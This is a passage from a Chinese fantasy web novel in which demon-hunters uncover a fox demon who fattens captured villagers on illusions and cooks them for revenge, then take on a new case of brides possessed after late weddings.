他们没有注意到的是,不远处的墙角,另一只栩栩狐不动声色地将一切收在眼底,看到同伴被抓后,迅速溜走。
“我说我说!”被抓的栩栩狐,一五一十地交代了一切。
“我们也不想招惹玄镜司的人,所以昨晚才故意把你们哄骗走。可谁知道那位谢大人好端端的怎么又回来了?还偏偏被他发现了红姐的行踪。”
“红姐可不是好惹的,当场就将他给擒拿了。现在就关在我们的庄子上。”
东方起问:“丰年县这段时间的失踪者,也是你们抓的?是死是活?”
“活着。不过……也快**。”
丰年县不大,在那只栩栩狐的指引下,不过一刻钟就到了一座庄子前。
东方起谨慎地道:“恐怕里面有诈。要不我先进去,你在外接应,小心为上?”
林倾月道一句:“没必要!”然后一脚踹开了院门走了进去。
“还是小心些!”东方起没想到林倾月这么虎,急忙跟上。
刚一进去,院门“砰!”的一声自动关上。
而周围的景物如水波晃荡了一下,一切就变得虚幻起来。
东方起提醒道:“里面有幻术法阵!”
“雕虫小技!”林倾月清嗤了一声,红色油纸伞“唰”的一声抖开,又很随意地丢给了东方起。
“你魂魄虚弱,不可被妖气侵蚀。幽冥伞既能庇护亡魂,也能遮挡世间阴邪之气的侵蚀。”
第85章 顶级食材
这把伞,是当日她灵力恢复一些后,闲来无事给自己制造的武器。
当时东方起还是小花,还在旁边帮她打磨伞骨,磨得小爪子都快要出血了。
所以对于这把伞,东方起是很熟悉的。
他握着伞柄,伞面朝着林倾月倾斜,想要替她也遮挡掉邪气。
林倾月把栩栩狐丢在地上,又用捆妖索给捆了,很霸气地道:“用不着,这点雕虫小技还奈何不了我。走,去里面看看。”
从外面看着院子不大,走进来才发现里面曲径通幽,还有悠扬的琴声丝丝入耳。
再往里走,就看到了一排排的房子间,有的房门紧闭,有的房门敞开。
花园里还有不少人像梦游一样晃荡着,每个人脸上都弥漫着古怪的笑容。
有一个老乞丐抱着旁边的树杆,满脸淫笑:“美人啊,今日我们要好好享受鱼水之欢。我老头子打了一辈子光棍,真想不到这辈子还能娶到你这么美的媳妇儿,我死也无憾了!”
有位衣衫凌乱的年轻人,躺在草地上哈哈大笑:“银子、银子,这些银子通通都是我的!哈哈哈,我是商贾巨富,谁也不能瞧不起我了!”
还有个书生模样的男子,对着石头做作揖:“臣,新科状元拜见陛下。陛下万岁万岁万万岁!”
很明显,这些人都是陷入了幻象之中。
越往里面走,琴声就越是清晰。
琴音入耳,林倾月都觉得浑身放松下来。
“好厉害的法阵,好厉害的惑音之术!”
也幸好,林倾月现在的境界已经大幅提高,再加上她的神魂本就非同一般,不受这些邪物的蛊惑。若是刚刚穿越来那几天,恐怕也会迷失在这种地方。
东方起也暗暗心惊:“好厉害的幻术,难怪连谢守正都被困住了。”
琴声原本婉转清扬,此刻弦音忽然急促,如战马奔腾,又好像有万箭齐发。
下一刻,那些琴音里的箭尽数凝成了实物,向院中二人射来。
“雕虫小技!”林倾月冷哼一声,墨袖翻卷间,浑身带出强大气流,将那些飞射而来的万千利箭全都定在半空。
她抬起一指,轻轻一弹,低叱:"去!"
箭羽应声倒卷,如归巢惊鸿,穿破阁楼窗纸。
"铮!"
弦段,音止。
林倾月与东方起对视颔首,足尖一点掠入阁楼。
乍一落地,满室浓郁的肉香便劈面撞来。
定睛看去,只见阁楼中央赫然立着一口青铜炉鼎,炉**光舔舐着鼎壁,将周遭照得一片灼红。
鼎内浓汤正咕嘟翻涌,几块带皮肥肉浮浮沉沉,蒸腾的热气中带着不同寻常的血腥味。
青铜鼎后,箭羽插落如林的空隙间,红衣女子端坐琴前,皓腕玉指犹作拨弦之势,只是手下的琴弦已经尽数崩断,断弦上还凝着未散的金戈余韵。
女子的远黛秀眉凝着几许怅然,悠然长叹:“知音少,弦断有谁听?”
湿漉漉的眼眸微抬,望着闯入阁楼的不速之客:“有朋自远方来,不亦乐乎。请坐,我给你们盛肉汤吃。”
说着,也不等林倾月和东方起应答,她已从满地的箭羽中走出,来到了炉鼎前。
铜制的大勺轻轻在汤里搅动,扬起的香味越发浓烈。
她深吸一口气,满脸陶醉:“你们真有口福,这一锅汤,我足足熬煮了一整天,此刻才刚刚煨好。”
类银似雪的白瓷碗里,盛了乳白色的汤和粉红色的肉块。
她殷勤地捧到林倾月的面前,好像主人在招待来访的贵客。
她甚至还热情地介绍着:“要趁热喝,这是难得一见的好肉。生前喝的是甘露和甜酒,吃的山珍海味,还夜夜有伶**奏琴声伴眠。就连宰杀……“
她抿唇一笑:“……都是在最幸福的时刻。所以此肉鲜嫩无比,世间罕见。你们可真是有口福啊!”
“来,怎么不接着碗?不想喝?”
她娇嗔着睨了他们一眼:“你们不喝,我可就
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不客气了。”
说完,她捧着碗一口饮下,喝完了汤又大口大口地开始吃肉,吃得满嘴流油,口脂都花了也毫不在意,边吃边笑:“美味!美味至极!”
东方起面色苍白的望着林倾月:“那锅肉难道是……”
“是人。”林倾月到底见过大风大浪,即便是此情此景,也没能让她有丝毫动容。
“不错,就是人。”妩媚的红裙女子吐出一段细小的骨头。骨头的一端还黏连着一片指甲。
东方起胃里一阵翻腾,险些要吐出来。
林倾月问:“是我们动手,还是你束手就擒?”
“就不能等人家吃完饭吗?为了这一顿,我等了好久好久呢!”
林倾月又问:“所以你抓那些人,都是为了吃吗?”
红裙女子道:“对啊!想必你们刚才也看到了,他们在这里生活得很好。每天有好酒好菜供应,我还亲自为他们抚琴陶冶情操,让他们享受到此生最大的幸福。然后……”
她嫣然一笑,烈焰红唇,妖娆至极。可吐出来的话语,却残忍至极:
“……然后在极致的快乐里死去。这样,才能让他们身上的肉质变得肥美、松弛。吃的时候只需要清水炖煮,即可成就世间佳肴。”
“真正顶级的食材,不需要太过复杂的烹饪方法。就像这锅汤,滚沸时连骨头缝都在冒香。”
终于,林倾月的眉头也忍不住蹙了起来。
东方起骂道:“为了你的口腹之欲,便要伤害这么多无辜的人。简直就是……就是罪大恶极!”
“这就罪大恶极了?那你们人类呢?”
她的笑容一冷,妩媚消失,只剩下无尽怨恨在漆黑的眼眸里燃烧。
“人类吃鸡鸭鱼肉就不残忍了吗?”
她指着阁楼下,那些在迷幻世界里痴痴傻傻的人说:“你看他们那些人,和你们在客栈里吃的500文一份的小鸡炖蘑菇有何区别?”
她一字一顿地质问:“不都是食材吗?”
第86章 说谎
“还是不一样的。”林倾月道,“鸡鸭鱼肉五谷杂粮,在人类世界里就是食物的存在,所以人类会饲养家禽牲畜。而这些家禽牲畜,千万年来也依附着人类不断繁衍出庞大的族群。所以,从某种层面上来说,互有获利。没有什么对错之分。”
“同样的,野生的狐狸吃鸡吃兔,无可厚非。而人如果误入荒野,也有被猛兽捕食的风险,这也是动物在遵循自然的生存法则而已。”
“你若是遵从动物法则,就该留在深山老林里。可你如今开了灵智,踏入人类的社会,选择做人,就该遵守人类规则,不可作恶,不可放纵你的食欲,更不能同类相食!”
“谁说人不会同类相食?人的残忍,才是毫无底线的!”红衣女子放下了汤碗,擦了擦嘴上的油渍。
“你说,人类不该同类相残。但我的妹妹,她明明已经从狐狸变成了人,也在人间生活多年,可当她的身份暴露,还是被当成动物般对待!”
“他们吃了她的肉!用她的皮**做成了华贵的狐裘大氅,穿在身上洋洋得意!”
“我那愚蠢的妹妹啊……”
红衣女子的眼角划过一滴泪,眼中有最深的悲哀:
“她真的很愚蠢,自以为修炼成了人形,就不想努力,贪恋红尘。起初的那几年,她确实过得很快乐,游戏红尘,潇洒自由。”
“可后来……后来就像画本子里描述的狗血故事那样,后来她爱上了一个男人,敢愿为他放弃自由,只想做一个贤妻。”
“可她不知道,所有爱情故事的终点,只停留在成亲的那一天。因为婚后柴米油盐的琐碎,男人变心的嘴脸,是一切幸福的终结。”
“而我那蠢妹妹呀,她却轻信了男人的海誓山盟。在他一无所有的时候,陪他吃苦,陪他过清贫的日子。她以为这叫‘真爱无敌’,呵呵……是不是很傻?”
“期间,我屡次劝她回山跟我修行,不要被这花花世界迷花了眼。可她不听啊!”
“那个蠢货,深深地爱着那个男人,为他操持家务、照顾父母,甚至连一家人的吃喝花销、男人读书的笔墨钱,都是我妹妹辛苦赚来。”
“她活得越来越像个人,可却忘了,有些人却是禽兽!”
“那个男人,连着考了几次都未能中举。后来,他想走‘献赋求仕’的路子。向朝廷的权贵,献上自己的辞赋作品,以此证明自己的才华,获得推举为官的机会。”
“可想走这条路的学子,也如过江之鲫一般,哪里有轮得到他那个庸才呢?”
“后来啊,他打听到有位大人最爱食野味,最喜穿狐裘大氅。”
“为了自己的仕途,为了成为人上人,那个曾经和她海誓山盟的男人啊,竟然找了捉妖师,将我那愚蠢的妹妹打回原形,关在笼子里,送给那位大人……”
“五百年的狐狸,世所罕见。她的骨肉被当成滋补佳品,她的皮**也被制成华贵的大氅。”
“你们说,我那个妹妹是不是很蠢,是不是咎由自取?”
红衣女子望着林倾月和东方起,脸上虽然带着妩媚的笑,可眼底深处的悲哀却是怎么都藏不住。
“12年前吃了狐狸肉的人,就是丰年县的县令。他本是京城高官,一年前被贬为丰年县令,来到此处。”
她抬手握住鼎边的大勺,轻轻地搅弄着汤里的肉块:“你们看,这里面翻滚的就是当年贪吃野味的男人,也是如今的丰年县令。这么美味的肉汤,你们真的不尝尝吗?”
林倾月看了眼乳白的汤,忽然笑了起来:“原来如此。那还真是天道好轮回,报应不爽。”
红衣女子得到了认可,显得很高兴:“你也这么认为对吧?凭什么人类可以吃狐狸、穿狐裘?我现在的所作所为,也不过是以其人之身,还其人之道!”
“冤有头,债有主。你要找当年的人报仇,我可以理解。可外面那些人呢?他们不可能全都与你有仇
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吧?你为什么要迁怒于无辜人?”
红衣女子说:“因为我要报仇啊。那个靠着出卖妻子血肉,登上官场的男人,如今已经一跃成了五品大官。”
“他知道我早晚会回来报仇,所以身边一直养着捉妖师,身上还带着各种护身符。我没有办法杀他,我也不能再等下去,否则他就要寿终正寝了。”
“我怎么能甘心看着他大富大贵的过一辈子?我要报仇,可我的修为还是太弱了一些,你看连你们都能轻易破除我的阵法。”
“而人类的灵魂和血肉可以滋养妖类丹灵,也是短时间之内提升修为唯一的办法。”
“哎!”她轻轻叹息一声音,“虽然那些人是很无辜,可是谁叫他们是人呢,谁叫他们的同类害**我妹妹呢?”
“撒谎!”林倾月冷冷地拆穿。
红衣女子皱眉:“你觉得我在骗你?都到了这一步,我有什么理由骗你?”
林倾月道:“也许你并不是在骗我,而是在骗你自己!你口口声声说是为了妹妹而报仇。可你在提及你妹妹的时候,语气憎恶,甚至一直用愚蠢来形容她。”
“这有什么问题吗?”
“当然有问题!一个处处嫌弃,口口声声说她是蠢货的姐姐,又怎么可能蛰伏那么久,心心念念为妹妹报仇呢?”
林倾月顿了顿,“除非,死的那个是姐姐。而那个被情爱冲昏了头,付出了一片真心,却被辜负的妹妹,是你!”
“不!”红衣女子勃然大怒,“你在胡说八道些什么?当年被吃肉扒皮的是妹妹,是我那愚蠢的妹妹红瑶。而我……我是姐姐红琴,是姐姐啊!”
林倾月将她所有的情绪都尽收眼底,也更加肯定了自己的猜测。
“妖类比人更容易陷入自己的执念。你的姐姐,是为你而死的吧?所以,你心里最恨的是其实是你自己。所以,你潜意识里将自己当成了姐姐红琴,你以为这样姐姐就没有死。对不对?”
第87章 遗忘的真相
“不,不是的。不是的……”她抱着脑袋,满脸痛苦地否认着。
可那个被她否定了多年的真相,却被林倾月无情地揭穿。
脑海里又浮现出了当年的一幕。
姐姐红琴因为不放心她,专程出来找她。
她劝她说:“红瑶,你和他已经做了十年的夫妻,还不够吗?这些年你在他们家做牛做马,手都磨出了茧子,连件像样的衣服都没有。”
“你总说他爱你,可他对你漠不关心,只一心想博取功名,想要荣华富贵。就算他有爱,可他分给你的爱太少太少了,根本配不上你给予他的一切!”
“红瑶,跟姐姐回山里去吧,修炼才是我们该做的正事。”
可红瑶还是拒绝了,她说:“姐姐,你没有爱过一个人,你不知道爱情是可以沉淀的,我对他的爱与日俱深。我相信他也一样。他说他去求取功名,是想让我过得更好。将来还要为我请封诰命。”
“其实凡俗的男人都很花心,三妻四妾稀松平常。可他不一样,他只有我一个妻子,甚至因为我的缘故,不能让他拥有后嗣。可他从来没有因此嫌弃我。这难道不是爱吗?”
“姐姐,人类的寿命很短。至少让我陪着他过完这一生吧。等过完了这一生,我就会老老实实回到山里,和你一起修炼。不再踏足凡尘。”
姐姐被她气得拂袖离去。
红瑶也一直以为姐姐回山里去了。
直到被丈夫背叛,打回原形,关在笼子里的时候。
姐姐听到了她的哀嚎,赶来救她。
那时她才知道,原来姐姐一直放心不下她,所以不曾离去。
那晚,姐姐拼尽全力,从捉妖师手下救下了她,可姐姐自己却身陷囹圄。
在生命的最后一刻,姐姐还在喊着:“红瑶你快跑,不要管姐姐!快些跑,跑回山里去,永远永远不要再出来了!”
“姐姐!”
“听话,走!不要回头看,不要看我!”
“姐姐……”
当那些被她刻意遗忘的记忆,如潮水一般疯狂涌来,红衣女子的心痛得好像要被撕裂一般。
她跌坐在地上,用力地捶打着自己的胸膛:“是我,是我害**我的姐姐。我是个愚蠢、无能、胆小的废物!眼睁睁地看着姐姐被害死,却只能落荒而逃……”
那次,红瑶被打回原形,连自保的能力都没有,更别提报仇。
于是,她只能压下心底的怨恨,日复一日,努力地修炼。
可真要一闭上眼睛,脑海里就浮现出姐姐被活生生扒皮拆肉的一幕,使得她日夜不宁,无法心安。
知道某天,她在山洞里看到了那张红漆瑶琴。
那是姐姐的琴,姐姐从小就喜欢琴乐。
有一次,有位路过的琴师在山下歇脚时,拿出古琴,弹奏出美妙的琴曲。
姐姐无比喜欢,心心念念也想要一把一样的琴。
可是姐姐对人类世界天生排斥,从来不愿靠近。
妹妹红瑶不一样,她虽然懒于修炼,可性子活泼,胆子又大。
为了给姐姐弄到一把她心心念念的琴,便偷偷下山。
后来,把琴送回来了,可妹妹的心再也回不来了。
多年过去,当初送姐姐的琴,被红色的绸布缠绕,保管得很好。
如今琴尤在,可弹琴的姐姐呢?
红瑶抚摸得温润细腻的琴身,思绪忽然就混沌起来:“该死的应该是妹妹红瑶,而不是姐姐。姐姐不能死,姐姐……我就是姐姐,我就是红琴啊!”
就这样,她就一直以为自己是姐姐红琴。
她学的姐姐的样子,刻苦修炼。甚至还像姐姐一样,学会了弹琴。
只是修炼进度太慢,整整用了12年,才小有所成。可遇到厉害的捉妖师,依然无法招架,甚至没有办法杀掉当年的负心人。
此刻,当她认清自己**是红瑶,而红琴早已死去时,眼泪无声地从眼眶里流出:
“是啊,我是红瑶,那个害死的姐姐,愚蠢又该死的红瑶。可我还不能死啊,姐姐的仇还没有报,我怎么能死呢?”
红色的广袖一挥,身后的屏风怦然碎裂,露出一个半人高的铁笼子。
笼子里,是一头被捆了手脚,塞住了嘴巴的灰狼。
对上东方起的目光时,他有些愧疚和不安:居
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然栽到一只狐妖的手里,殿下会不会对我很失望?
另一只栩栩狐站在笼子旁边,手里拿着柄大刀,刀尖冲着笼子里的狼头,随时准备刺下去。
东方起淡淡地瞥了谢守正一眼:“放了他。”
红瑶道:“我本不想招惹玄镜司的人,可是你们非要找我麻烦,我也没办法。既然今天你们破了我的阵法,我只能认输。外面的人我愿意放掉,包括这头狼妖,我也可以放了。”
“但作为交换条件,你们也不能为难我和那两只栩栩狐。否则,我们也不介意玉石俱焚!”
东方起问:“放了你,你会洗心革面回归山野吗?”
红瑶沉默着,没说话。
东方起就知道她不会:“你还想报仇?就算离开丰年县,你还是会用邪门歪道的方法,提升自己的修为,然后去找那个男人报仇?”
不知道为什么,在说到“邪门歪道”的时候,他隐约感觉林倾月好像瞪自己一眼。
红瑶固执地道:“我当然要报仇!我怎么也不能让那样的人,好端端的活下去!”
东方起问:“所以,你就要为了杀一人,而牺牲更多无辜的人?”
红瑶垂眸低叹:“我也是不得已而为之。”
“你想要杀的,不就是一个区区五品官吗?”东方起忽然话锋一转:“若我们帮你报仇,事成之后,你可愿意去玄镜司自首?”
“你虽然杀了丰年县令,但有冤情可表,可从轻处置。但你若是执意以杀止杀,甚至杀害平民,危害国家,那么我保证你必死无疑!”
红瑶狐疑地看向东方起:“你该不会在骗我?”
“骗你?没必要。”接话的是林倾月。
她身形一晃而逝,红瑶还来不及反应,她已经闪现在笼子旁边,一脚踹飞了栩栩狐,又一掌拍碎了铁笼,拽出谢守正。
谢守正终于脱了困,感动得不行:“林副使,还好有你。要不然,我今日怕是要折在那狐妖手里了!”
林倾月无奈地瞪了他一眼:“是你疏忽大意了。这狐妖的实力本不如你,若非你轻敌着了道,也不至于被逼出原形,困与牢笼。”
第88章 美梦破灭
谢守正也很愧疚。
前一天晚上,他看到狐妖红瑶的时候,就知道她道行不行,根本没放在眼里。
所以,当他后来发现红瑶再度出现的时候,没作多想就跟了过去。谁知道,对方居然在门口设下迷幻阵,将他给给迷晕了。
狐狸果然狡猾!
此刻,少了筹码的红瑶浑身紧绷,警惕地看着林倾月:“你,到底什么人?”
林倾月冷声回呛:“你惹不起的人!”
红瑶面色苍白:“人类果然卧虎藏龙。你们要杀我可以,但请你们让我先找那人报仇!”
东方起道:“报仇的办法有很多种,而你偏偏选择里一条不归路——那人叫什么,在何处为官?”
红瑶缓缓地说出了一个名字:“苗东,东林府长史。”
东方起道:“东林府正好在我们的路径范围附近,不如顺道去一趟,把此事了结?”
林倾月道:“那至少又要多耽误一两天时间,你倒是一点也不着急赶路?”
东方起笑:“还有时间,确实不着急。你意下如何?”
林倾月耸了耸肩:“我当然也无所谓,反正我又不着急完事回京城。”
红瑶听了他们的对话,简直有些不敢相信:“你们当真愿意帮我?”
说着,她径直给他们二人跪下:“若红瑶能得偿所愿,复仇成功。事成之后一定会去玄镜司自首。那时不论是受诛杀之刑,还是牢狱之灾,都绝不反抗!”
林倾月道:“以防万一,我需要给你提前种下一道符咒。若是你半路耍诈逃走,那我变引爆此符,让你身首异处。如何?”
红瑶已经是网中之鱼,哪里还有的选择?
眼见这里的事情已经告一段路安,谢守正终于忍不住嗷呜的叫唤一声道:“林副使,这里交给你,我去去就回。千万注意,保护好公子!”
然后一溜烟就跑掉了。
刚才那栩栩狐,为了变成他的模样而不露出破绽,就拼命给他灌水。
谢守正也是条硬汉,死死地憋着,膀胱都快要炸了!
他跑出去之后,也十分恪守礼仪,没有胡乱解决,寻摸了好一阵子,才总算找到厕所,解决了内需问题。
而后,他又找回了自己的衣服,套上之后才变回了人型,念道了一句:“当人当久了,都不习惯当狼了。”
红瑶和林倾月达成了约定后,就主动撤去了整个院子里的幻象。那些被她抓来的人,从迷失中醒来后,都吓了一大跳。
可奇怪的是,除了少数人第一时间逃出去报案之后,其他都继续留在院子里恋恋不舍。
被抓来关在此处的人,有是乞丐,有穷苦的劳工,还有读书人、商人等等,但在这里的一段时间,他们每日吃喝不愁,还有夜晚还有动听的琴声伴眠。
当琴声响起的时候,幻境开启,他们每个人都在幻象里得到了心心念念的一切。
在这里——
赶考多年,连秀才都考不上的读书人,居然状元及第;
操劳半生,却屡屡赔本的生意人,赚到了金山银山;
娶不上媳妇的老乞丐,也拥有了美娇娘,眼看“爱妻”已经怀孕,美梦突然破灭。
迎接他们的是现实中的穷困潦倒、生活不易,一如从前。
对于这里的一切,他们当然会恋恋不舍。
可假的终归是假的,无法长久。
当官兵来到此处,搜出炉鼎里依然冒着热气的肉汤时,大为惊骇。
即便是那些恋恋不舍,哭着喊着不肯离去的人,也震惊了、害怕了,继而庆幸自己及时清醒,要不然怕也会成为炉鼎里的食材。
县官遇害、大批失踪者出现,很快就引来了郡守和郡上的玄镜司。
由于事情太大,谢守正只能悄悄在司内分使跟前,现了个身,大致说了下情况,并指导了工作。
并让他们把此事
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的影响尽量下压去,尤其是那鼎中烹杀之事,不允许公开,免得造成不利影响。
而那两只栩栩狐也被谢守正提溜着,交给玄镜司的分使。
此案中,他们冒充公职人员,还涉及多起失踪案,又是**帮凶,再加上之前逃狱,数罪并罚估计得判个好几十年。
谁说妖怪寿命略长,关个几十年,也关不死。可是想到今后于要在牢狱里度过,两只栩栩狐就忍不住泪流满面。
红瑶远远地看着两个手下被逮捕归案,终是于心不忍:“他们其实并无恶意。当初因被我所救,为了报恩才帮我做事,并不知道后果的严重性。能不能放过他们,一切由我一力承当?”
谢守正刚正不阿地道:“报恩归报恩,不可作为他们犯罪的开解理由!原本,本官还想等他们刑期满后,提携他们入玄镜司。可如今看来,他们是非不分,容易受人蛊惑,就算能力再特殊,也不符合玄镜司的用人标准!”
红瑶听罢有些愧疚:她确实错了,为了一己私欲,耽误了那两只栩栩狐的前程。
可惜后悔已经来不及了。
此刻,红瑶已经失去了之前飞扬跋扈的模样,跟在林倾月、东方起、谢守正身后,温顺得像个小丫鬟。
没办法,野兽天生畏惧强者。经过之前那一战,她已经深刻的意识到林倾月的强大,不敢造次。
趁着夜色,一行三人变成了四人,准备出发。
林倾月照例是坐在舒适的马车里,东方起依然为她驾车开路。
而谢守正则和狐妖红瑶一起驾马。
谢守正对那狐妖意见很大,主要是一想起先前被她关在笼子的情形,就感觉万分**。
哪怕迫于东方起缘故,不得不带她一起上路,谢守正也忍不住呵斥道:“孽畜,这一路上最好老实些,否则我的血棘鞭定会抽得你魂飞魄散!”
红瑶淡淡地扫了他一眼,没说话。
第89章 云石邪祟
赶了一夜的路,等到天亮的时候,已经出了奉贤郡的地界。又走了两天,便到了东林府辖下的,云石镇。
此刻,东方起向林倾月介绍:“云石镇附近地理位置奇特,附近的山上多产玉石。其中尤以白玉为佳,而价格只有京城的十分之一。等找了客栈放下行李后,你可以去逛逛,选些喜欢的玉石首饰。”
林倾月此刻正靠在车厢内的大迎枕头上,伸了个懒腰:“白天在车里睡了一天,晚上正好出来活动活动。”
说话间,他们一行人的马车已经进入了云石镇的主道上。
与寻常小镇不同,云石镇主街上的房屋,鳞次栉比。各类玉石商铺林立两侧,繁华程度直逼县城。
只是道路不甚宽敞,依然跟普通的小村镇差不多。
就在众人张望周围景色的时候,远处传来敲敲打打的喜乐声。
接着,就见一队迎亲的队伍从前方长街过来。
“哎呀,遇喜了!这是好事啊!”
谢守正话音刚落,身后方向也传来了吹吹打打的喜乐声。
转头看去,只见另一队送嫁队,从长街后方过来。
一前一后很快汇合在一起,而林倾月他们的车马不偏不倚正好被夹在中间。这就有点尴尬了。
前面的队伍停下来了,后面的队伍也停下来了。
前面的队伍里有人喊:“退一退,退一退!哎,外乡人,说你们呢!”
后面的队伍也在喊:“让一让,让一让!前面的外乡人,快把路让开!”
可这条路统共就那么一点宽,前面被挡,后面路被堵。而谢守正他们有两匹马,一辆马车,被夹在中间进退维谷。
谢守正扯开了大嗓门嚷道:“没法退,也没法让!要不前面的退一退,或者后边的让一让!不然这路堵着,谁都过不去!”
前面的队伍喊:“往后退不吉利,还是你们退吧!”
后边的队伍也在喊:“我们也不能退呀!哎呀,快点吧,等过了时辰就麻烦了!”
谢守顿时正火气上头:“喂!我说你们这些迎亲的队伍真有意思,又着急,又不肯退让。那我们能怎么办,我们夹在中间又不能飞过去!要不大家都耗在这里?反正我老谢又不成亲,我不着急!”
他不着急,那两队迎亲的队伍便着急了。
前方的队伍跑出来一个喜婆喊着:“外乡人,要不往旁边挪一挪,让我们的轿子过去?”
谢守正道:“这路总共就这么点宽?我们就算挪到边上去,对方若是不让,你们也依然过不去句。”
于是那喜婆就冲后面的队伍里喊着:“我们路远赶时间,劳烦你们往旁边让让。”
后面队伍里也出来了一个人,道:“你们赶时间我们也要赶啊!一旦过了午时不吉利,新娘就要出事!”
前面队伍的喜婆掐着腰道:“你们怕不吉利,我们难道不怕?我们要到张家村,还有半个时辰的路程呢!”
两边队伍互不相让,谢守正夹在中间,只觉得一颗脑袋都快要被吵裂了。
他问:“你们到底怎么回事?为何都非要赶在午时之前?为什么午时之后新娘就要出事?”
一个喜婆道:“外乡人,你有所不知。这事,也是奇怪得很。大概在两个月前,我们玉石镇和底下的几个村子,但凡办喜事,只要行礼的时辰拖到午时过后,当天晚上新娘就会神志不清,有时大吵大闹,有时甚至对着新郎大打出手。总之,邪门得很!”
“既然都已经有两个月之久,玄镜司的人为何不来处理?”谢守正记得东林府设有玄镜司分部。
那喜婆道:“从我们镇子上去东林来回要一天,没人愿意浪费脚力去跑这一趟。更何况,新娘遇邪后,一般也就闹腾一宿,第二天便恢复的神志,没什么别的影响。再加上,也不是每家每户都会遇上,大家尽量在午时之前完婚,规避风险也就罢了——哎呀,我和你一个外乡人说这么多干什么?”
说完又扭头和另一队人继续吵嚷。
谢守正默默地退回马车旁边,对林倾月道:“看来好像有情况,但又不是特别严重的。咱们要不要管这个闲事?”
没办法,他真的是做久了驱邪镇妖的行当,遇到这样的事难免心头痒痒。
林倾月也来了好奇:“只能午时前成婚,否则新娘就要遇邪?然后只闹腾一夜
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,就完事?”
东方起道:“你若好奇,不如去看看?”
林倾月道:“反正我们今天也要留在这里休整,不如去凑个热闹,讨杯喜酒喝。”
而那两队互不相让的迎亲队伍,最终在吵吵闹闹中,成功地错过吉时。
这也是到了这时,其中一队才肯妥协,往后退了一段路。
谢守正他们则把自己的车和马都往旁边靠,眼看着两个迎亲的队伍都快要走完了,他寻思道:“这有两家的成亲,也不知道谁家会沾染上邪祟。”
林倾月对东方起道:“不如我们分成两组,各跟上去一家去看看情况?”
谢守正赶忙说:“公子,那我跟你一起!”
东方起淡淡扫了他一眼:“你带着红瑶。”
谢守正还想问为什么,就被东方起暗搓搓地瞪了一眼。他顿时有些委屈:殿下这是在嫌弃我吗?
虽然在赶时间,但迎亲的队伍要抬着新娘子轿子,根本走不快。
林清月和东方起尾随而至,很快就到了张家村,办喜事的那户人家门前。
因为错过了吉时,新娘的轿子此刻还停在大门外。
婆家人急得不行:
“误了时辰,这可怎么办呀?”
“要不抬回去,明日再来?”
“荒唐,哪有迎亲的队伍都到家门口了,再把新娘子送回去的道理?”
“可万一新娘夜晚也中邪了,该如何是好?这也太不吉利了!”
就在众人发愁之际,林倾月装模作样地站了出来:“听说,你们这附近最近闹邪祟?巧得很,我们兄妹俩正好是捉妖师,远游至此。不知可否逃杯喜酒喝?”
这简直就是瞌睡的送枕头!
主人家立刻迎了过来:“那可真是太巧了!来来来,快请到里边上坐。”
若是林倾月开口就要讹银子,主人家或许会有所怀疑,可他们只说要逃杯喜酒喝。对办婚事的人家来说,这就根本不值一提。
当即将他们迎了进去,奉为上宾。
原本纠结要不要继续的婚礼,此刻也因为林倾月和东方起两人的加入,而打消了顾虑。
喜乐奏响,婚礼仪式正式开始。
第90章 真美
林倾月来到这里后,已经参加了好几场婚宴。
第一次,是原主的婚宴。可惜她来的时候晚了一步,已经礼成了。要不然,及时反悔的话,倒是省了后来许多麻烦。
第二次,是给东方宴和鬼新娘王灵儿举办的水上冥婚。
第三次,是东方宴纳妾。
今天是第四次,相比于之前的两次,寻常百姓家的婚宴简单许多,但是亲朋好友都到场,开口闭口都是对新人未来的美好祝愿。
林倾月倚着朱漆廊下,眼角眉梢不知不觉也含了笑意。
东方起不经意的回眸间,便看到专心致志观赏婚礼的林倾月。
午后阳光正好,勾勒出她挺翘的鼻梁、殷红的唇瓣,笑意晕开在眉眼间,温柔又动人。
他看着看着,不觉失神呢喃了一声:“真美。”
林倾月微笑侧眸:“你说什么?”
东方起赶忙垂下了眼眸,脸颊上晕染出了一抹绯红。
林倾月定定地看着他:“我听到你说,真美。你在夸谁?”
东方起当然不能直言相告。不论林倾月和东方宴是否有过夫妻之实,只要他们没有和离,他就不能让任何龌龊的心思显露出来。更不能让她背负任何负担和骂名。
“我是说,新娘真漂亮。”
林倾月朝着人群中的新娘扫了一眼,说:“人家戴着盖头,你怎么知道是美是丑?难道……”
东方起心头有些慌乱:她看出自己在扯谎了?哎呀死嘴,说谎都不会,真没用!
正想再解释,林倾月忽然恍惚了:“明白了!”
她压低的声音,靠在东方起耳边小声地说:“你是觉得身材漂亮吧?瞧你脸还红了,该不会是思春了吧?”
东方起惊愕抬头:“啊?”
林倾月拍了拍他的肩膀,认真地说:“不用羡慕。等回京之后,我帮你留意留意,看看哪家的千金适合你。不瞒你说,我最喜欢给人拉媒牵线了。”
于是,东方起就想到之前,她给东方宴整的那一出冥婚戏码,唇角忍不住抽了抽:“不,不必了。”
林倾月还当他在客气,大大咧咧地道:“小花,咱们之间不必客气!包我身上,放心!”
东方起:“……”
婚礼仪式结束,新郎新娘被送入洞房。
其他的宾客好友们则在外面吃席。
主家还特意过来给林倾月和东方起敬酒,当问起来历时,只说是云游四方的兄妹,路过此处听说有邪祟,故而来看看。
主人家听罢,大夸他们仁义,又请他们尽情吃喝,无需客气。
之前赶了两天路上,都是日夜兼程,饿了就吃些干粮。今日遇到席面,两人自然也不客气,大快朵颐地享受农家美食。
旁边倒是有位老太太,吃饱喝足,闲来无事,便热情和林倾月搭话:
“小姑娘长得真俊?可许配人家了?我家有个孙儿,长得一表人才,你若见了保准喜欢。”
林倾月微微一笑:“大娘,我已经成亲了。”——虽然也快离了。
“啊?那真是太可惜了,我孙儿无福啊!”大娘叹息了一声,又将目光落在东方起身上。
东方起赶忙说:“我已有心上人。”
那大娘白了她一眼:“我又没孙女,你有没有心上人与我无关!”
东方起:“……”
大娘看起来是真的很喜欢林倾月,拉着她闲话家常,还说:“你若是将来和你那口子日子过得不好,就和离了来咱们玉石镇。大娘稀罕你!”
林倾月都有些惊讶:“大娘,你此话从何而来?”
大娘道:“你都成婚了,若是夫妻和美,怎么还会跟着弟弟出来讨生活?定是家里那口子不是个好东西,叫你受委屈了吧?”
林倾月万万没想到,一个农村大娘居然如此通透,蒙了个**不离十。
而她也借此机会,向大娘打探最近出现的邪祟事件。
大娘道:“这话你可问着了!镇上那几家出事的,我统统都知道!最近的,是五天前的一户人家。“
“那是我们镇上最有钱的人,脑子活络
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,把从镇上收的玉石买去外地,赚了不少钱。男人一有钱啊,就纳妾。偏他又是个不信邪的,选了傍晚作吉时。”
